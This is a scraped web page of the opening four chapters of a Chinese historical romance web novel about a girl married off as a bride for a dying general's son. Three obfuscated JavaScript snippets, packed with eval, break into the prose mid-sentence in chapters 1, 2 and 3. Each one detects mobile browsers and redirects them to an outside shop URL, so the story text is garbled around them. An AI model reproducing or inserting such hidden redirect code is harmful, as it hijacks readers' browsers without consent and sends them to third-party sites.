《长夜曲》 1. 第 1 章 “吉时到!起轿!” 锣鼓声声,贺喜声声,一片祥和喜气,黎府门前挂着红绸和红花,整座宅邸都透露着喜气,轿撵从门前一路经过朱雀街停至靖远将军府门口,此时将军府门前围了不少人,大多都是来看热闹的。 坊间早有传闻,徐家二公子在战场上受了重伤,性命垂危,大夫和宫里的太医来了一轮又一轮,都说命不久矣,但不知从那里跳出来一个神医说冲喜可以助二公子借命数月,尽管徐家有功名爵位在身,可谁家愿意女儿跳这个火坑?纷纷退避三舍,只有黎家,扬言将养在田庄的二女儿接了回来,可以嫁给二公子冲喜。 一时间徐将军的夫人喜上眉梢,赶紧着人准备了聘礼。 轿撵稳稳当当地停在门口,轿子被踢响三次,红色的车帘被掀起,温书宁大红喜服着身,手持金色龙凤流苏团扇,眉间点缀梨花花钿,提裙弯腰下了马车,在丫鬟的搀扶下进入将军府的大门。 “新妇跨马鞍!” 声音落下,便有丫鬟拿来马鞍放在她前面,她跨过马鞍,耳边尽是笑声,那那些人很高兴,父亲也高兴,全然不顾她还在母亲的丧期。 “新妇跨火盆!” 跨过火盆进入中堂,堂上坐着徐家的老夫人和徐家大房的赵夫人。 “新妇拜天地父母!” 这一整个婚仪流程只有她一个人,甚至都不知道自己要嫁的人是何模样,品行如何,她不太愿意拜,直到一个嬷嬷上前来扶着她的手,她耳边小声道:“二小姐可不要忘记大人说的话。” 她没忘,也不会忘,黎朝既想要拉拢将军府又舍不得自己的宝贝女儿,便让她来替长姐嫁给一个性命垂危的人,这种事情她怎么会忘呢? 拜完天地父母她便被扶着送进了徐二公子的房间,房间门窗紧闭,里面透露着一股浓重的药味,熏得她有些喘不过气,于是放下团扇推开了窗,初春夜风寒凉,床榻上传来几声咳嗽,她又连忙将窗户关上,小心走至床边,看着白色床幔里的人,朦胧不真切。 没等她开口便听见对方说:“你就是嫁给我冲喜的姑娘?” 温书宁站着没有动,这声音虚的厉害,确实是活不久的样子,她没说话,直到一只素白枯瘦的手掀开床幔,露出那张因为消瘦而凹陷的脸,那双眼睛狭长而深邃,眼下有着灰色的黑眼圈,长长的睫毛耷拉着,遮住他的眼睛,在床幔被撩起的同时看向她,而后眼眸微闪。 “是你?” 她垂头看着他,抿抿唇说道:“今日是你我大婚的日子,虽然这话不该说,但我还是要告诉你,冲喜救不了你。” “我知道,”男子扯了扯嘴角,枯瘦的手指着窗台前的桌子,“屉子里有一封和离书,你只需签字便可自行离去。” 温书宁转身从抽屉里拿出了那封和离书,上面的字迹有些狂野,歪歪扭扭,看得出来他写的很艰难,那自己又何必欺负一个将死之人呢?况且若真的拿着和离书回去,父亲定会责罚自己,左右这二公子也没几日可活了,还不如留在将军府,就算他死了,将军府也算个倚仗。 她折好和离书放回抽屉里,走到床边沉声说:“今日刚新婚你就要与我和离,这要是传出去我的脸往哪搁儿?黎府的脸面又往哪儿搁儿?” 她一边说一边脱下身上繁琐的喜服,见他没回话,也觉自己语气过重,温声问他:“你的衣服要不要帮你脱掉?” 徐言璟身上的喜服是今天一早上母亲命小厮给他换上的,他穿着这喜服躺在床上已是许久不适,能脱下来更好,于是点点头,“只脱下外衣便可。” 温书宁当然知道,扶着他坐起来三两下扒了他的衣裳,然后从柜子里拿出新的被褥和枕头铺在屏风后的矮塌上,“我睡觉不安分,你毕竟是个病人,我也不想折磨你,今后我睡小塌,你睡床。” 烛火被吹灭,房间陷入漆黑一片,只有偶尔晃进来的灯笼光照在书案上,案上的书被吹翻几页,落在一首名为《借风华》的短诗上,她扯了扯身上的被子,扫了一眼后就沉沉睡了过去。 - 春日多雨,连廊下遍地都是踩进来的积水,小厮们一大早便拿着扫帚拖布在打扫,昨日二公子新婚,府中上下喜气洋洋,连那些伺候的下人们都得了不少赏赐,霜怜带着六个丫鬟一路从前厅穿过连廊假山走到玉兰居。 “你们都是夫人买来伺候少夫人的,做事都仔细一些,要是冲撞了少夫人,惹了少夫人不满,小心你们身上这层贱皮子!” 丫鬟们齐齐应声:“谨记霜怜姐姐教诲。” 今日是温书宁回京城的第三天,她从前随着母亲在扬州,母亲太忙的时候就不大顾得上她,平时也没有早起的习惯,或许是在陌生的地方,今日一早她就醒了,在榻上翻来覆去怎么也睡不着,岂料睡不着的人不止他一个。 徐言璟不知醒了多久,带着浓重喘息的声音从屏风那边传来,“睡不着吗?” “嗯,”她低低应了一声:“等会儿要起床给母亲请安,你——” “我就不去了,你若是不想去也可以不去,母亲不会怪罪的。” 温书宁当然知道赵夫人不会怪罪,这徐二公子是将军和夫人老来得子,原本说找个女子冲喜,谁知整个京城没人敢把女儿嫁进来,只有黎家,不嫌弃她这即将病故的儿子,肯把女儿嫁进来,她高兴捧着还来不及呢,又怎么会怪罪? 她没应声,准备穿衣起床,正巧房门被叩响,霜怜恭敬地站在门外,“少夫人,该起床给夫人请安了。” “进来吧。”她穿好衣裳坐在菱花镜前。 霜怜带着丫鬟进来,快速带上了门,进来的丫鬟们该熏衣的熏衣,备水的备水,房间瞬间变得吵闹,尽管她们放轻了动作,但在徐言璟听来依旧刺耳,他这里已经很久没有像这样吵过了。 他艰难地翻了个身继续睡,直到门再次被打开然后合上他才将床幔挂起来,喊来贴身伺候的小厮,“去前厅看看少夫人。” 小厮点头,转身去了前厅。 温书宁从小在扬州长大,标准的鹅蛋脸桃花眼,挺翘的鼻梁侧边还有一颗痣,唇角微微上扬,看起来温良和顺,是个会善待人的。 将军夫人姓赵,一见她就欢喜,忙招手让她来自己跟前坐,“听你父亲说你今年十八了?” “是,前几日刚过生辰。” “好孩子,嫁给璟儿委屈你了。”赵夫人牵着她的手,想到病榻上的人眼泪忍不住落下,身边的丫鬟递 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908856|192435||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来帕子,她便拿着帕子掩面啜泣。 温书宁摇头,说道:“母亲说的哪里话?我既然已经嫁进了将军府,那便是二少爷的人,母亲也不必理会外人的闲言碎语,我自会尽心照顾二公子。” 她在进京城的路上就听人说过,那些话左右都是不好听的,自己也权当过个耳朵,并未放在心上,所以即便知道要嫁给一个将死之人也只是难过惋惜,没有哭闹,在哪里都比在黎府要好。 前厅有座湖心亭是个赏景的好地方,赵夫人又拉着她聊了些家常,远远的便有爽朗的笑声传来,“大嫂今儿心情倒是不错,还有心思喂鱼赏花呢。” 温书宁转头看去,只见通往亭子的这条路尽头走来一个衣着华丽的妇人,身后跟着不少丫鬟,她走到亭子里,咳嗽了两声,视线落在温书宁身上,“这就是大嫂给璟儿娶的新妇?模样嘛倒是不错,身段也好,只可惜是个养在庄子上的庶出。” 是的,她被接回来并没有记在主母的名下,而是记在当年因病早逝的姨娘名下,如此说她确实是庶出。 温书宁听见这话没什么表情,嘴角依旧扬起得体的笑。 “妹妹来了?看来今日二爷没出门?让你得了空。” 她早就听说这徐家二爷是个喜欢喝花酒的,偏偏这魏夫人的肚子不争气,嫁进来两年也没个动静,徐二爷几次都提出要纳妾都被她要死要活给拦了回去。 听见她这么说,魏夫人果然变了脸色,“近日二爷是十分用功,也从未出去过,大嫂与其关心他,倒不如关心关心璟儿,他若是走了,这新妇还留不留得住?” 温书宁挑眉,“劳烦二嫂嫂关心了。” 从凉亭回去之后就看见徐言璟坐在窗下,身上披着厚重的氅衣,手里拿着帕子捂着嘴咳嗽,另一只手拿着书,看得非常认真,她没有进门,站在窗外踩着石头扒在窗框上,笑问:“在看什么呢?” “话本,”徐言璟从书中抬起头,侧首看她,“要看吗?” 温书宁没想到他这样的人竟然会看话本,她还以为他应该是个非常严肃的武将,再不济也是个克己复礼的公子哥儿,她的笑在脸上僵了一瞬又想起父亲的叮嘱,说道:“不看,我该去练琵琶了。” 她的嫁妆不多,除了父亲仓促准备的就只有一把母亲留下来的琵琶,从前在扬州小院里母亲有空就会教她弹,她学的不快,一首曲子总是要母亲教上数月,以至于现在会的曲子不多。 徐言璟看着她抱着琵琶坐在院子里的杏树下,树叶落在她的肩头,随着她青葱的指尖拨动,琵琶弦发出悦耳的声音,他放下了手中的书,静静听她弹完这一曲。 曲声悠扬婉转,带着轻微的伤感,但后面曲调上扬,像是新生,又像是剧烈的坠落,等她弹完,他鼓掌,“好听。” 温书宁睁开眼,面无表情地抹掉了眼泪,语气很淡地说了声:“谢谢。” “这首曲子有名字吗?” “有。” 他问:“叫什么?” “长夜曲。” 母亲这一辈子都在盼望着父亲的到来,在盼望中等了数不清多少个春夏秋冬,无数个漫漫长夜里她经常弹这首曲子,一曲终又一曲起,可最终还是没能等到父亲。 2. 第 2 章 扬州城,梧桐巷。 “韵娘子啊,今天这么早就回来啦?” 一个身姿曼妙的女子穿着剪裁得体的裙裳,撑着一把油纸伞走在青石桥上,与她擦肩而过的人相继跟她打招呼,女子朝对方微微一笑:“阿水今天生辰,我特意跟她的夫子说让她早些下学,我得回家给她做饭呢。” “我刚才看见阿水了,瞧着她不太高兴呢。” 温韵脸色微变,紧赶慢赶地回了家。 她们住在梧桐巷的最里面,院子是最小的,潮湿的天气让院子里的青苔散发着霉味,她刚走到门口就看见坐在台阶上的小姑娘。 “阿水!” 约莫五岁左右的小姑娘抬起头,圆嘟嘟的小脸上挂着泪水,长卷的睫毛湿漉漉的,看起来看起来可怜极了,“母亲……” 温韵抱着怀里的小姑娘,动作轻柔地抚摸她的发顶,“阿水不哭,跟娘亲说说发生了什么。” 阿水闷闷的声音传来,“他们说我是没有父亲的孩子……母亲……” “他们胡说!”温韵抱着她,却也忍不住红了眼,声音温和地哄着,“阿水别哭,他们都是胡说的,你有父亲,等你长大了父亲就会来接你了。” “嗯!”阿水重重点头。 自那天以后每逢阿水的生辰母亲都会告诉她,等她长大了父亲就会来接她回京城过好日子,她也一直憧憬着这一天的到来,但是没想到这一天来得这么突然。 春寒料峭,每天清晨路边的野花野草就会挂着晶莹剔透的露水,阿水从小在梧桐巷长大,巷子里有几块砖她都一清二楚,但恰好那天她在学堂没有下学,也就没看见一群人浩浩荡荡进了梧桐巷最里面的一座小院子。 只知道回家时门口堆积好的柴堆散落一地,她心里一阵惊慌,推开门在里屋找了一圈,一个人也没看见,正准备出门时看见回来的温韵。 “阿水?怎么急得这样满头大汗?”温韵捏着帕子擦着她额头渗出来的汗珠,“娘跟你说过多少次了?遇事不可急躁,怎么就是记不住?” 阿水如今已经十七岁了,出落的亭亭玉立,不少俊俏的小公子看见她都心生欢喜,上门说亲的媒人都踏破了门槛,但都被温韵给挡了回去,她总说:“我家阿水以后可是要去京城当官家小姐的,婚姻之事万不可操之过急。” 尽管她表现得再正常不过,但是阿水依旧能够看出来端倪,母亲不高兴。 直到她十八岁生辰这日,阿水看着娘亲给自己煮了长寿面,加了两个鸡蛋,还拿出了从不让她碰的琵琶,说道:“阿水还记得娘教你的曲子吗?” 她狼吞虎咽地吃着面,只想快点让娘亲听听自己这些年学的曲子,结果遭了一顿敲打。 “说了多少遍?吃饭要细嚼慢咽,再喜欢吃的饭菜也不可以一直吃,你这样别人该说娘没有教你了。” “母亲!”阿水不服气,“您总说等我长大了父亲会来接我,但是他这些年连一封信都没有来过,要我看,他压根就是把我们母女俩忘了,在京城过着顺风顺水的富贵日子呢!” 她这一番话更是让母亲生气,不过没有挨打,母亲坐在檐下,听完这句话掩面哭泣,瘦弱的双肩轻轻耸动,母亲最在意父亲了,她这话明摆着是在戳母亲心窝。 母亲哭,她也哭。 “娘我错了,您别哭了,我再也不说了,父亲是好的……父亲是最好的……” 阿水跪在地上一步步挪到母亲脚边,温韵捏着袖子胡乱擦脸,亦如小时候般摸着她的发顶,“阿水别哭,别哭,你听娘的话,以后去了京城千万谨小慎微,母亲疼爱你,可旁的人不会,你一定不要胡来。” “我记住了,娘……我记住了!”阿水抱着母亲不住地点点头。 吃完长寿面,温韵拿出琵琶递给她,说道:“去吧。” 阿水抱着琵琶坐在母亲时常坐的榕树下,指尖拨动琵琶弦,悠扬婉转的琵琶声穿过石墙传的远远的。 她从小就知道,母亲曾是扬州瘦马,是被父亲买下来的,他们这里住过半年,但是后来父亲不辞而去,母亲因此伤怀了好久,直到查出怀有身孕,方才振作起来,旁人都道母亲命好,有个在京城做官的夫君,如今又有了孩子,往后的日子好过不知道多少,就连母亲也只这样认为的。 她把母亲教给她的曲子都弹了一遍,母亲很满意,坐在檐下笑得温婉,她一直都觉得母亲长得好,只是时间带走了她更好的时候。 “还有一首呢?” 她知道母亲说的是《长夜曲》,她虽然没有学过,但是以前几乎日日都能听见母亲弹,她早就会了,弹完后抱着琵琶去找母亲,等着夸赞,却发现母亲不知何时没了气息,曾经无数人豪掷千金都想得到的美人如今却永远地躺在了这个四方小院里。 阿水伸出颤抖的手去探鼻息,“母亲?” “母亲……” “娘!” 茶盏应声落地,杯中剩下的茶水洒落一地。 阿水抱着母亲的尸身哭到流不出眼泪,只呆愣地坐在冰凉的地上,直到邻居敲响家门,帮她一起葬了母亲,她们都说母亲是自杀死的,或许是因为捱不住等待父亲的时光,才如此草率了结自己的性命。 她抱着母亲牌位回家时就见家门被打开,院子正中间坐着一位穿着富贵的中年人,制衣的锦缎都不是她们这边才有的,腰间的玉牌更是她从未见过的好料子。 男人见她进来,目光在她身上上下扫视,阿水看不懂对方脸上的表情,只觉得不友好,让她很不舒服,男人问她:“你就是韵娘养的那个孩子?” 阿水不着痕迹地眨了两下眼,只这一句她便知道这人就是母亲念叨了一辈子的男人,她的父亲。 她点头。 “叫什么名字?”男人又问。 “温书宁。” “怎养的这样怯生?罢了,走吧。”男人起身往外走。 阿水跟在他身后,问道:“去哪儿?” “京城。” 她终于见到了一直想要见到的父亲,可却不高兴,为什么父亲不能早些来?哪怕是早几天也好,这样母亲就不会死了,还能跟着她们一起去京城。 马车上她一直没有说话,她不知道要说什么,更不知道如何跟这个十几年都没见过面的父亲交流。 黎朝看着面前的小女孩,说道:“从今天起,你不再姓温。” “那我姓什么?”阿水抬头看着他。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908857|192435||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “你姓黎。”父亲的声音带着不容置喙,即便她不愿意却也不敢说什么。 马车一路驶进京城,城内喧嚷繁华,车水马龙,是她从没见过的热闹,穿过热闹的街市,马车停了,她跟着父亲下马车,看着面前的宅邸,心想母亲说的果然不错。 “带二小姐下去梳洗。” 守在门口的小厮簇拥着黎朝去了前院,被他点名的丫鬟看了眼跟在后面的阿水,说道:“二小姐请跟我来。” 阿水虽然不懂大户人家的规矩,但是母亲跟她说过很多次,谨小慎微一定没错,她跟在丫鬟身后,穿过长廊到了后院,黎府很大,前院和后院也很大,阿水不知道自己走到了什么地方,只知道这个院子比她在梧桐巷住的要大很多。 她洗漱打扮一番后就被夫人叫到了前院,她规规矩矩跪在堂下,不敢抬头。 “你就是宁儿?”时夫人衣着华丽地坐在椅子上,身边一个穿着鹅黄色长裙的少女,正挽着她的胳膊靠在时夫人肩膀上,一双圆溜溜的眼打量着阿水。 “是。” “抬起头来,我看看。” 阿水乖巧地抬起头,但是眼睛却没有看她,而是落在了她身边的少女身上。 时夫人点点头称赞,“长得果然好,明日你便替初意嫁去将军府。” “什,什么?”阿水猛地看向她,瞳孔颤动,转头看向坐在旁边喝茶的黎朝,“父亲……” 黎朝搁下茶盏,拂袖说道:“就听你主母的,将军府如今刚打了胜仗,你嫁过去不会受委屈的,放心吧。” 说完便甩袖离开了厅堂。 时夫人站起来走下两阶台阶,站在她面前扶着她起来,声音温和,“好孩子,你父亲说的不错,初意下个月是要进宫选秀的,你若是在将军府,她在宫里也算有个助力,若是初意得了恩宠,你岂不是脸上也有面儿?” 阿水看着黄衣女子,少女长得极美,粉唇翘鼻,丹凤眼,脸型流畅,长得这样好,难怪要进宫,母亲说得对,这世界上没有白来的好处,父亲既然能给她黎府二小姐的身份,她自然要为父亲带来好处。 她现在算是看明白了,父亲想要拉拢将军府,但是时夫人又舍不得女儿,进宫一朝得宠那可是莫大的荣耀,如今他又找不出第三个女儿,便只能将远在扬州的她接了回来。 罢了。 “我知道了,”她问:“只是不知女儿要嫁的人是谁?” 黎初意掩面一笑:“你呀,要嫁的人是徐二公子,只是他在战场上受了伤,太医说怕是活不过一个月,妹妹好福气啊。” 阿水掐着自己的掌心,忍住没有哭出来,守寡这种事情怎么能算是福气? 时夫人敲了一下黎初意的头顶,故作责怪,“你快快住嘴吧,宁儿是替你去的。” “知道了。”黎初意娇嗔一声,小跑着出了厅堂。 阿水看着时夫人,说道:“夫人是否还有叮嘱?” 时夫人看着她整理着她的长发,“你父亲希望你赶紧进了将军府能尽快生下孩子,稳住自己的地位。” “女儿知道。”阿水乖巧应下,但心里却觉得甚是可笑,一个活不过月余的人还希望他能有精力生孩子? 3. 第 3 章 “长夜曲……好名字啊。”徐言璟半卧在榻上倚着窗框,话音还未落地就开始咳嗽,恨不得把肺管子给咳出来,贴身伺候的小厮立刻拿来狐裘给他披上,还给屋子里的暖炉添了炭火。 见他咳嗽温书宁忙把琵琶给身边的丫鬟,提裙推开门走进房间,坐在他对面,说道:“咳得这么厉害,该卧床休息才是,何必坐在窗下吹冷风?” “夫人若是想关心我不如给我倒杯茶来?”他看着她笑,一双浑浊的眼睛在这一刻亮晶晶的。 温书宁被这一声“夫人”喊得浑身一激灵,这才发现他的茶水已经凉了,重新给他倒了茶水,端详着他道:“你不是生病,是中毒了,你可知道?” 她觉得自己这句话多少会让他感到惊讶,但他只是端着茶喝了一口,评价道:“太烫了。” “你没听见我讲话吗?”她问。 “听见了,那我还有救吗?”徐言璟放下茶盏,自他从战场上被送回开始就不停有太医从宫里出来给他诊治,得出来的结果都是一样的——无药可医。 以前他想,死了便死了吧,但是现在,他的视线落在面前的人身上,少女模样柔和,眉眼温柔,脸上很少有大表情,可见她是不愿意嫁的,若是自己就这么死了,那当真是委屈她了。 温书宁摇摇头,“没有,不过你放心,就算你死了,我也不会离开的。” 徐言璟倒是不担心她离开,或许离开对她来说才是最好的。 三日后。 “少夫人,这是回门的礼单,您看一下还有没有欠缺的。” 丫鬟把礼单呈上来,温书宁看了一眼,只一眼便被将军府这阔绰的手笔给惊到了,她虽然不知道回门礼该准备多少,但肯定不是将军府这样整整五页,父亲给她的嫁妆单也才三页。 “母亲和父亲看过了吗?” 丫鬟说:“这些就是夫人准备的。” 既如此,那就这样吧。 徐言璟大概是不能陪她一起了,就他那个样子,一路颠簸,恐折在半路了。 梳妆完毕拉开门就看见徐言璟坐着轮椅等在院子里,天上还飘着绵绵雨丝,他穿的非常多,手里还拿着手炉,小厮在后面给他撑着伞,但是免不了有雨打湿他的衣摆。 温书宁走过去,问道:“你这是要跟我一起去吗?” 他说:“不明显吗?” “我一个人可以。” 徐言璟滚动轮椅到台阶下面,仰头看着她,“你当然可以,是我想陪你去,走吧。” 温书宁与他对视,片刻后移开,说道:“也好,等你回来我有件事要跟你说。” 心里有事情压着,人就总也活泛不起来。 马车早早就备好了,奢华的不成样子,六角都镶嵌着明珠,仿若一栋小阁楼,有窗有门,反正她是从没坐过这样的马车,丫鬟扶着她上了马车,车厢很大,两人谁都没有说话,徐言璟也没问她回来要跟自己说什么。 现在下着雨,街上的人不是很多,马车很快就停在了黎府门口,黎朝和时夫人早早就等着了,见马车停下就赶紧吩咐人去搀扶。 温书宁撩开马车的帘子提着裙子走了下来,转身去扶徐言璟,黎朝看见他的时候脸上的表情有些微变,都传言说他病的起不来床,如今还能跟着新婚妻子回门,可见他有多爱护,便笑得更灿烂了。 时夫人在他耳边小声问:“不是说这二公子快病死了吗?怎么还能随她回门?” “你快闭嘴吧!徐家的先祖是随着高祖皇帝开国的功臣,得陛下看重不是一朝一夕,徐言璟在战场上受伤,陛下正为此忧心,恐他重病不愈,朝廷再无可用之人,若是宁儿当真冲喜让他病愈了,那对于我们来说也是一件好事。”黎朝紧紧皱着眉,恐怕她这话叫徐言璟听了去。 时夫人连忙拿帕子捂住了嘴,转身笑着走到徐言璟身前说道:“宁儿刚回来,京城的有些规矩还不懂,可有给将军府添麻烦?” 温书宁微笑着,目光落在她身上,没有多话。 徐言璟说:“夫人知书达理,温良纯善,处处周到妥帖,不存在添麻烦。” “是是是,我就说宁儿这丫头乖巧,你还忧心她,”黎朝笑着走过来,“外面冷,快些进去吧,餐食已经备好了。” 要不还是说陛下眼前的红人面子大的呢?徐言璟军功在身,徐家祖上是开国的功臣,曾祖母又是明贞惠公主,妥妥的高门大户,皇亲国戚,若不是二公子如今这副模样,黎家就是祖坟冒青烟了也没有这样的造化。 温书宁看着圆桌上的菜肴,比她回府那日还要丰盛,她想如果今日徐言璟没有陪自己回来,恐怕桌上不会有几道好菜。 徐言璟牵着她的手在自己身边坐下,朝她笑了笑,温书宁有些不太自在,牵着自己的这双手宽大温暖,手心有厚厚的茧,她不由自主地用指腹轻摸起了他的掌心。 “怎么了?”徐言璟感觉到掌心的痒意,以为她有事,放下筷子偏头望着她。 她摇摇头,“没事。” 黎朝看着两人的相处,嘴角就没下来过,一个劲儿地让温书宁多吃些,寒暄了好一阵,家宴散下黎初意拉着温书宁去了凉亭,黎朝跟徐言璟去了书房。 温书宁不知道要跟这个同父异母的姐姐聊些什么,坐在凉亭一直没吭声,黎初意拉着她的手,“妹妹在将军府可还习惯?我听姐妹们说徐老夫人是极其不好相处的,可有为难你啊?” 温书宁在将军府的这几天从未见过老夫人,也不知她究竟是怎么个不好相处,是以没有回答她后面这句话,只说自己在将军府过的不错,至少没有吃过冷饭冷菜。 “下个月便是选秀,到时候我就是宫里的娘娘,你可要多进宫陪陪我。”黎初意说的真切,脸上带着甜甜的笑。 温书宁看着她,不知道该怎么形容,她很少看见像黎初意这样的人,不管是在京城还是在扬州城,周围的人对她都是善意居多。 她唇角微微勾起,学着黎初意那样假笑,回答道:“好,我记住了,我肯定会去看姐姐的。” 傍晚的时候又下雨了,初春就是多雨,丫鬟拿着伞来凉亭寻她们,霜怜把斗篷给她披上,“二公子怕少夫人冷,特意让奴婢带来的。” 温书宁轻轻“嗯”了一声没说话。 从黎府的后花园出来就看见徐言璟等在马车边,豆大的雨水在地上溅起非常大的水花,打湿了他的衣摆,她走近,“下雨了怎么不去马车里等我?” 徐言璟伸手让她搀扶着上马车,“一样的。” 温书宁跟父亲和时夫人的感情不深,现在要回去了也不知道该说点什么,等到马车驶远了才撩开车帘看了一眼。 “舍不得?要不多在家住几日?” “没什么舍不得的,”她放下帘子。 徐言璟问:“出门时不是说有事要说吗?是什么?” 温书宁一怔,没想到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908858|192435||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他这么想知道,双手绞着袖边,低着头思考要不要说,毕竟父亲一直对外宣称自己是黎府养在庄子上的女儿,若是这件事叫徐言璟知道了,他会不会跟府中其他人说?若是说了,父亲生气了该怎么办?可他毕竟快死了,总不能让他快死了都不知道自己的夫人是谁吧? 徐言璟看着她,少女低着头,眼睫低垂,鬓角的青丝被风吹起贴在脸颊上,他的声音夹杂着病弱的喘息,“怎么了?是不知道怎么说吗?” “不是,”温书宁摇头,片刻后抬起头看他,斟酌说道:“其实我不是黎家养在庄子上的女儿,甚至在嫁给你的前一天我才刚进京,在此之前我随母亲住在扬州城,母亲死后我才被父亲接回来的。” 话音落下,她只能听见自己跳动的心脏,四目相对,谁也没有再说话,她不确定他是不是生气了,所以也没有再继续往下讲。 直到马车停在将军府门口,霜怜扶着她下马车,她有点不敢看徐言璟,做错事的人都是这样吧,可她又没做错什么。 回到院子温书宁就一直坐在窗下,看着院门口,徐言璟没有回来,霜怜站在檐下收了伞,跺了跺脚才进屋,“少夫人,夫人传问二公子,二公子下了马车就去了前堂。” 哐当—— 温书宁手中的茶杯应声落地,滚烫的茶水洒在她的手臂上,白皙的肌肤瞬间被烫红一片。 “少夫人!” 她回过神,看着霜怜捧着自己的手一顿吹,转身又去拿药箱给她上药。 “没事的,你去——”她话还没说完就顿住了,她没带什么东西来,也带不走什么。 “怎么了?”霜怜上完药,收拾着药箱。 “没事,你先出去吧。” 霜怜应声往外走,走到门口时喊了声:“二公子。” 徐言璟走进屋内,身上的狐球都没脱,径直走到温书宁面前,“我知道。” 温书宁被他这句没由来的一句话砸懵了,“什么?” 徐言璟坐在她对面,说道:“回来时你在马车上同我说的那些,我都知道,不止我,祖母和母亲也都知道。” 温书宁看着他,眼里满是不可置信,“都知道?” 父亲虽然不是多聪明的人,但也绝不会在这么重要的事情下落把柄,满京城都认为黎家只有黎初意一个姑娘,父亲将她接回来在外人看来就是父亲舍不得黎初意。 “是啊,”徐言璟尽量让自己的声音听起来不那么颤抖,温和地说:“你我的婚事虽然没有经过三媒六聘合八字,但至少是拜过徐家祖宗的,你的身份早在你嫁进来就查清楚了,将军府不会让来历不明的人进门,你不是,你父亲是朝廷命官,官居正二品刑部尚书,你外祖父曾是左佥都御史,因受到信王案的牵连才被革职遣返归乡,你不必忧心。” 温书宁没想到他们竟然连母亲家的事情都查清楚了,“那母亲……” “今日回门,她担心你,”徐言璟靠着她的肩膀躺在榻上,叹了口气,“说了这么多话,好累。” 温书宁赶紧起来扶着他去床上,徐言璟拉着她的手,迷迷糊糊间说道:“其实我比你入京时更早认识你。” 温书宁听不明白他这句话,索性当他今天是累糊涂了,敷衍地点点头,给他掖好被角就出了门。 站在门口,冷风迎面吹来,吹的她眼睛干涩发红,眼眶湿润,她之前担心的,被发现的事情原来他们早就知道了,她应该高兴的。 4. 第 4 章 四月。 春意渐浓,万物复苏,玉兰居前院角落里种的花已经开了很多了,天气也渐渐回暖,但徐言璟的身体却一日不如一日,大夫和宫里的医正几乎住在玉兰居,整个院子被药味浸透,温书宁自从上次回门之后就再没出过门,老夫人和夫人不需要她晨昏定省地来问候,只让他好好照顾徐言璟。 她也是照顾的很好,每日的汤药都是她亲自熬的,入口的餐食也是她亲自做的。 徐言璟坐在书桌前,目光落在回廊上的少女身上,呢喃道:“旁人都不愿意嫁,偏她来了也不哭不闹,只是我这副样子真是可惜她了。” 他说完猛烈地咳嗽了几声,像是要把整个肺都咳出来。 身边侍奉的小厮连忙倒了杯热茶递给他,“公子千万不要这样说。” “我又没说错,我的身体我最清楚,能活几日我心里也有数,日后我若是走了,她一个人可怎么办?”他思索片刻,对着小厮吩咐:“衣柜里有个匣子,你去拿过来。” 小厮应声,去衣柜里拿出了那个檀木匣子,他看着徐言璟打开,从里面拿出一卷金红卷轴,金镶玉的轴头刻画着龙凤呈祥,卷面干干净净,一看便知是作何用的。 “公子是要给少夫人写婚书?” 徐言璟让他研着金磨,笑笑说:“不是婚书,上次的和离书她没收,为了以防万一我再写一卷,日后她若觅得良人,拿着这卷和离书,离开也会轻松些。” “公子,这若是叫夫人知道了……” 依照徐言璟现在的身体状况来看,能够完整写出一个字已经是很困难的了,想要将字写得端正对他来说更是难上加难,但这卷和离书上的字笔触十分有力,一个歪斜的字都没有,将字晾干,重新放回匣子里。 “等我走后再给她。” 小厮含泪收好,转身将湿润的眼角擦净。 温书宁端着药推开门,一进来便察觉到两道目光落在身上,愣了一瞬笑问:“都看着我做什么?” 她走到书桌前坐下,把汤药推过去,逗趣儿似的问道:“趁热喝,方才我来的时候听见前院吵闹,你可知是何事?” 徐言璟端起药碗一饮而尽,苦涩瞬间席卷口腔,忍不住蹙紧了眉头,刚要开口就被突如其来的蜜饯抵住了唇,甜腻的香味萦绕在鼻尖,他错愕抬眸,少女明眸善睐,笑意盈盈地看着他,“我试过很多家的蜜饯,只有这家的甜而不腻,你尝尝。” 温书宁一手撑着书桌,另一只手又微微往前递了递。 徐言璟咬住蜜饯酸甜的味道覆盖了原本苦涩的药味,他缓慢嚼着,一双眼睛盯着她,“好吃,哪一家的?” “是一家新开的铺面,叫珍品味,她家还卖酥糕,也很好吃,等我下次出府的时候买回来你尝尝,”她整理着桌面,眼里是藏不住的笑意,嘴角也微微上扬。 “好。” 徐言璟收回视线继续看书,温书宁就坐在对面双手托腮看着他,时不时玩一玩发髻上的绸带,或者整理着桌上的书。 “你刚刚说前院吵闹,还没说为什么。”徐言璟眨了眨眼,抬头看着她。 